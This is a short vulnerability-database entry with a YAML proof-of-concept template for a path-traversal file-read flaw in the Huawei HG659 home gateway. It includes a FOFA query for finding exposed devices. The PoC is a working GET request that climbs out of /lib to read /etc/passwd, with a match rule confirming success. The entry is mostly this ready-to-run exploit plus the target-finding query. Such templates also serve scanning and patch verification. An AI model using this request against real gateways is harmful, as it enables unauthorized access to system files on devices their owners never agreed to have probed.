huawei-home-gateway-hg659-fileread: Huawei Home Gateway Hg659 Fileread

2025-08-01 Huawei Home Gateway Hg659 PoC Public

Description

fofa: app="HUAWEI-Home-Gateway-HG659"

PoC

id: huawei-home-gateway-hg659-fileread

info:
  name: Huawei Home Gateway Hg659 Fileread
  author: B1anda0
  severity: high
  description: |-
    fofa: app="HUAWEI-Home-Gateway-HG659"
  tags: huawei,hg659,fileread
  created: 2025/08/20

rules:
  r0:
    request:
      method: GET
      path: /lib///....//....//....//....//....//....//....//....//etc//passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities